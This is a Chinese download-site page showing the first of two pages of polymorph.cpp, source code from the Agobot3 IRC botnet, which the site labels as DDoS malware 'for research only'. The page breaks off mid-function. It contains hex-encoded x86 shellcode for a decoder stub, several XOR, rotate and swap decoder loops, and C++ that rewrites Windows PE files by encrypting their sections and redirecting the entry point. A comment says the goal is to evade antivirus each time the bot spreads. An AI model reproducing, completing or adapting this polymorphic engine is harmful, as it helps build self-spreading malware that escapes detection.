⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 polymorph.cpp.svn-base

📁 很有名的一款用于组织DDoS的恶意机器人程序。仅供研究学习
💻 SVN-BASE
📖 第 1 页 / 共 2 页
字号:
/*	Agobot3 - a modular IRC bot for Win32 / Linux
	Copyright (c) 2003 Ago
	All rights reserved.

	This is private software, you may redistribute it under the terms of
	the APL(Ago's Private License) which follows:
  
	Redistribution and use in binary forms, with or without modification,
	are permitted provided that the following conditions are met:
	1. The name of the author may not be used to endorse or promote products
	   derived from this software without specific prior written permission.
	2. The binary may not be sold and/or given away for free.
	3. The licensee may only create binaries for his own usage, not for any
	   third parties.

	Redistribution and use in source forms, with or without modification,
	are not permitted.

	THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
	IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
	OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
	IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,
	INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
	NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
	DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
	THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
	(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
	THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. */

#include "main.h"
#include "polymorph.h"
#include "random.h"

#ifdef WIN32

//
// Compile agoenc.asm with nasm and convert it to a .h file using
// makeshell.exe to get this. It may be that you have to change the
// offsets if you modify something before the data section, like the
// DLL loader.
//

char agoenc[]=
	"\xE9\x55\x00\x00\x00\x5A\x56\x57\x50\x51\x53\x89\xD3\xE8\x48"
	"\x01\x00\x00\x8D\xB3\x2C\x00\x00\x00\x8D\xBB\x35\x00\x00\x00\xC7"
	"\x83\x78\x00\x00\x00\x0F\x00\x00\x00\xE8\xC0\x00\x00\x00\x89\x83"
	"\x55\x00\x00\x00\x8D\xBB\x44\x00\x00\x00\xC7\x83\x78\x00\x00\x00"
	"\x0D\x00\x00\x00\xE8\xA5\x00\x00\x00\x89\x83\x51\x00\x00\x00\x53"
	"\xE8\x7E\x01\x00\x00\x5B\x5B\x59\x58\x5F\x5E\xE8\xA6\xFF\xFF\xFF"
	"\x00\x00\x00\x00\x11\x11\x11\x11\x22\x22\x22\x22\x33\x33\x33\x33"
	"\xFF\xFF\xFF\xFF\x44\x44\x44\x44\x55\x55\x55\x55\x66\x66\x66\x66"
	"\x77\x77\x77\x77\x00\x00\x00\x00\x00\x00\x00\x00\x6B\x65\x72\x6E"
	"\x65\x6C\x33\x32\x00\x47\x65\x74\x50\x72\x6F\x63\x41\x64\x64\x72"
	"\x65\x73\x73\x00\x4C\x6F\x61\x64\x4C\x69\x62\x72\x61\x72\x79\x41"
	"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x77\x2B\x62\x00\x72\x62\x00"
	"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
	"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x51\x57\x56\x56"
	"\xFF\x53\x51\x50\x59\x57\x51\xFF\x53\x55\x5E\x5F\x59\xC3\x31\xC0"
	"\x89\x43\x74\x8B\x53\x74\x3B\x53\x64\x7D\x48\x42\x89\x53\x74\x31"
	"\xC0\x8B\x43\x74\xC1\xE0\x02\x8B\x4B\x6C\x01\xC1\x8B\x01\x03\x43"
	"\x60\x57\x56\x51\x89\xFE\x89\xC7\x8B\x4B\x78\xF3\xA6\x59\x5E\x5F"
	"\x75\xD1\x31\xC0\x8B\x43\x74\xD1\xE0\x8B\x4B\x70\x01\xC1\x31\xC0"
	"\x66\x8B\x01\xC1\xE0\x02\x8B\x4B\x68\x01\xC8\x8B\x08\x03\x4B\x60"
	"\x89\xC8\xC3\x31\xC0\xC3\xA1\x00\x00\x00\x00\x3E\x8B\x40\x34\x3E"
	"\x8B\xA8\xB8\x00\x00\x00\xE9\x0E\x00\x00\x00\x50\x51\x56\x55\x64"
	"\xA1\x30\x00\x00\x00\x85\xC0\x78\xE2\x3E\x8B\x40\x0C\x3E\x8B\x70"
	"\x1C\xAD\x3E\x8B\x68\x08\x89\x6B\x60\x89\xE8\x66\x81\x38\x4D\x5A"
	"\x75\xC4\x05\x3C\x00\x00\x00\x8B\x08\x03\x4B\x60\x66\x81\x39\x50"
	"\x45\x75\xB3\x81\xC1\x78\x00\x00\x00\x8B\x31\x03\x73\x60\x81\xC6"
	"\x18\x00\x00\x00\xAD\x89\x43\x64\xAD\x03\x43\x60\x89\x43\x68\xAD"
	"\x03\x43\x60\x89\x43\x6C\xAD\x03\x43\x60\x89\x43\x70\x5D\x5E\x59"
	"\x58\xC3\x8B\x4B\x14\x8B\x53\x24\x01\xCA\x5B\x5B\x5B\x59\x58\x5F"
	"\x5E\xFF\xE2\x8B\x4B\x28\x81\xF9\x01\x00\x00\x00\x74\xE4\x89\xD9"
	"\x2B\x4B\x04\x66\x31\xC9\x89\x4B\x24\x03\x4B\x08\x89\xCE\x8B\x4B"
	"\x0C\x31\xD2\x8B\x43\x10\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
	"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
	"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
	"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
	"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
	"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
	"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
	"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
	"\x90\x90\x90\x90\x90\x90\x8B\x4B\x24\x03\x4B\x1C\x89\xCE\x8B\x4B"
	"\x20\x31\xD2\x8B\x43\x10\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
	"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
	"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
	"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
	"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
	"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
	"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
	"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
	"\x90\x90\x90\x90\x90\x90\xC7\x43\x28\x01\x00\x00\x00\x8B\x4B\x14"
	"\x8B\x53\x24\x01\xCA\x5B\x5B\x5B\x59\x58\x5F\x5E\x89\x54\x24\x34"
	"\xFF\xE2";

// List of encoders/decoders
// Comments are encoders, assembler pieces are decoders

// rotate right:
// *(unsigned long*)output = *(unsigned long*)input;
// *(unsigned long*)output = (*(unsigned long*)output>>1)|(*(unsigned long*)output<<31);
char rolloop[]=
	"\xD1\x04\x16\x81\xC2\x04\x00\x00\x00\x39\xCA\x7C\xF3";

// rotate left:
// *(unsigned long*)output = *(unsigned long*)input;
// *(unsigned long*)output = (*(unsigned long*)output<<1)|(*(unsigned long*)output>>31);
char rorloop[]=
	"\xD1\x0C\x16\x81\xC2\x04\x00\x00\x00\x39\xCA\x7C\xF3";

// swap words:
// *(unsigned short*)output = *(unsigned short*)input+2;
// *(unsigned short*)output+2 = *(unsigned short*)input;
char swaploop[]=
	"\x53\x66\x8B\x1C\x16\x66\x8B\x7C\x16\x02\x66\x89\x3C\x16\x66"
	"\x89\x5C\x16\x02\x5B\x81\xC2\x04\x00\x00\x00\x39\xCA\x7C\xE2";

// xor:
// *(unsigned long*)output = *(unsigned long*)input ^ (unsigned long)key;
char xorloop[]=
	"\x31\x04\x16\x81\xC2\x04\x00\x00\x00\x39\xCA\x7C\xF3";

char xorloop2[]=
	"\x31\x04\x16\x81\xC2\x01\x00\x00\x00\x81\xC2\x02\x00\x00\x00"
	"\x81\xEA\x01\x00\x00\x00\x81\xEA\x01\x00\x00\x00\x81\xC2\x03\x00"
	"\x00\x00\x52\x51\x59\x5A\x39\xCA\x7C\xD7";

char xorloop3[]=
	"\xD1\xC0\xD1\xC8\x50\x31\xC0\x58\x31\x04\x16\x81\xC2\x06\x00"
	"\x00\x00\x81\xEA\x02\x00\x00\x00\x39\xCA\x7C\xE5";

//
// Defines for all the polytypes
//

#define POLY_TYPE_UNKNOWN	0
#define POLY_TYPE_XOR		1
#define POLY_TYPE_SWAP		2
#define POLY_TYPE_ROR		3
#define POLY_TYPE_ROL		4
#define POLY_NUM_TYPES		4

//
// To get these offsets, open agoenc.s with Win32Dasm and search for the
// Start of the data section, then check with the code that you are really
// at the right location and note the value in the statusbar for offset in
// file. This will be the offset for the line selected in Win32Dasm.
//

#define ENC_OFFSET_OFFSET		0x63
#define ENC_OFFSET_OFFSET_CODE	0x67
#define ENC_OFFSET_CODE_SIZE	0x6B
#define ENC_OFFSET_KEY			0x6F
#define ENC_OFFSET_ENTRYPOINT	0x73
#define ENC_OFFSET_TYPE			0x77
#define ENC_OFFSET_OFFSET_DATA	0x7B
#define ENC_OFFSET_DATA_SIZE	0x7F
#define ENC_OFFSET_DECODER		0x1F5
#define ENC_OFFSET_DECODER_DATA	0x285

//
// Global polymorph object for testing without recompilation
//

extern char *g_szSectionName;

#ifdef DBGCONSOLE
void AddLog(const char *szFormat, ...)
{	if(!szFormat) return;
	va_list va_alist; char formatbuf[8192]; va_start(va_alist, szFormat);
	vsnprintf(formatbuf, sizeof(formatbuf), szFormat, va_alist); va_end(va_alist);
	FILE *fp=fopen("c:\\poly.log", "a"); if(!fp) return;
	fprintf(fp, "%s", formatbuf); fclose(fp); }
#endif // _DEBUG

// ATTENTION !!! TESTING CODE !!! ATTENTION

CPolymorph::CPolymorph() { }

CPolymorph::CPolymorph(const char *szFile, const char *szOutFile) {
//	DoPolymorph(szFile, szOutFile);
}

CPolymorph::~CPolymorph() { }

//
// DoPolymorph
// This maps the file, searches the sections for an encoder suitable
// section and a code section, builds an encoder into the section,
// sets the entry point in the file to the encoder, sets a flag in the
// header to detect already encryted files and finally saves the file
// back to disk. This is used to morph the file each time it spreads
// to evade antivirus, cause the avs have to spread it each time they
// want a new version of the morhped program.
//

bool CPolymorph::DoPolymorph(const char *szFile, const char *szOutFile) {
	// Map the file into memory
	char *szBuffer; if(!MapFile(szFile, &szBuffer)) return false;

#ifdef DBGCONSOLE
	AddLog("Polymorphing file \"%s\" to \"%s\"...\n", szFile, szOutFile);
#endif // DBGCONSOLE

	// Get and check the DOS header
	IMAGE_DOS_HEADER *iDosHeader=(IMAGE_DOS_HEADER*)szBuffer;
	if(iDosHeader->e_magic!=IMAGE_DOS_SIGNATURE) { UnmapFile(); return false; }

	// Get and check the PE header
	char *pTemp=(char*)iDosHeader+iDosHeader->e_lfanew;
	DWORD *dwSignature=(DWORD*)pTemp; pTemp+=sizeof(DWORD);
	if(*dwSignature!=IMAGE_NT_SIGNATURE) { UnmapFile(); return false; }

	// Get the rest of the headers
	IMAGE_FILE_HEADER *iFileHead=(IMAGE_FILE_HEADER*)pTemp; pTemp+=sizeof(IMAGE_FILE_HEADER);
	IMAGE_OPTIONAL_HEADER *iOptHead=(IMAGE_OPTIONAL_HEADER*)pTemp; pTemp+=sizeof(IMAGE_OPTIONAL_HEADER);
	IMAGE_SECTION_HEADER *iSectHead=(IMAGE_SECTION_HEADER*)pTemp;

	// Get the size of the encoder
	int iEncoderSize=sizeof(agoenc);

#ifdef DBGCONSOLE
	AddLog(" - sizeof Encoder:  0x%8.8X\n", iEncoderSize);
#endif // DBGCONSOLE

	// Loop through the section headers
	int iSection; IMAGE_SECTION_HEADER *iSectPtr, *iSectEnc=NULL, *iSectCode=NULL, *iSectData=NULL;
	for(iSection=0, iSectPtr=iSectHead; iSection<iFileHead->NumberOfSections; iSection++, iSectPtr++) {
		// Check if its g_szSectionName (the internal section where
		// the encoder is stored).
		if(strstr((char*)iSectPtr->Name, g_szSectionName)) {
			// Store encoder in this section
			if(iSectPtr->SizeOfRawData >= iEncoderSize)
				iSectEnc=iSectPtr;
		}
		// Check if its the code section
		if(strstr((char*)iSectPtr->Name, ".text")) {
			// Mark this as the code section
			iSectCode=iSectPtr;
		}
		// Check if its the data section
		if(strstr((char*)iSectPtr->Name, ".data")) {
			// Mark this as the data section
			iSectData=iSectPtr;
		}
	}

#ifdef DBGCONSOLE
	AddLog(" - Encoder section: 0x%8.8X\n", iSectEnc);
	AddLog(" - Code section:    0x%8.8X\n", iSectCode);
	AddLog(" - Data section:    0x%8.8X\n", iSectData);
#endif // DBGCONSOLE

	// The .exe file is already encrypted
	while(iFileHead->TimeDateStamp==0xFFFFFFFF) {
#ifdef DBGCONSOLE
		AddLog(" - File is already encryped, decrypting...\n");
#endif // DBGCONSOLE

		// Get values out of the header
		char *pSectionData=(char*)szBuffer+iSectEnc->PointerToRawData;
		int iSectionSize=iSectEnc->SizeOfRawData;

		// Get the key
		unsigned long lKey, lType, lEntry;
		memcpy(&lKey,	szBuffer+iSectEnc->PointerToRawData+ENC_OFFSET_KEY,			sizeof(unsigned long)); 
		memcpy(&lType,	szBuffer+iSectEnc->PointerToRawData+ENC_OFFSET_TYPE,		sizeof(unsigned long)); 
		memcpy(&lEntry,	szBuffer+iSectEnc->PointerToRawData+ENC_OFFSET_ENTRYPOINT,	sizeof(unsigned long)); 

		// Allocate memory for the new section data
		char *pNewSectionData=(char*)malloc(iSectionSize+1);
		if(!pNewSectionData) break;

		// DeXOR the code section
		unsigned char *pCodeData=
			(unsigned char*)szBuffer+iSectCode->PointerToRawData;

		switch(lType)
		{
		case POLY_TYPE_XOR:
			{	// XOR to decrypt
				for(int i=0;i<iSectCode->SizeOfRawData;i+=4)
					*(unsigned long*)(pCodeData+i)^=lKey; }
			break;
		case POLY_TYPE_SWAP:
			{	// SWAP to decrypt
				for(int i=0;i<iSectCode->SizeOfRawData;i+=4)
				{	unsigned short word1=*(unsigned short*)(pCodeData+i);
					unsigned short word2=*(unsigned short*)(pCodeData+i+2);
					*(unsigned short*)(pCodeData+i)=word2;
					*(unsigned short*)(pCodeData+i+2)=word1; } }
			break;
		case POLY_TYPE_ROR:
			{	// ROL to decrypt
				for(int i=0;i<iSectCode->SizeOfRawData;i+=4)
				{	unsigned long lInput=*(unsigned long*)(pCodeData+i);
					*(unsigned long*)(pCodeData+i)=(lInput<<1)|(lInput>>31); } }
			break;
		case POLY_TYPE_ROL:
			{	// ROR to decrypt
				for(int i=0;i<iSectCode->SizeOfRawData;i+=4)
				{	unsigned long lInput=*(unsigned long*)(pCodeData+i);
					*(unsigned long*)(pCodeData+i)=(lInput>>1)|(lInput<<31); } }
			break;
		default:
			break;
		};

		// DeXOR the data section
		unsigned char *pDataData=
			(unsigned char*)szBuffer+iSectData->PointerToRawData;

		switch(lType)
		{
		case POLY_TYPE_XOR:
			{	// XOR to decrypt

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -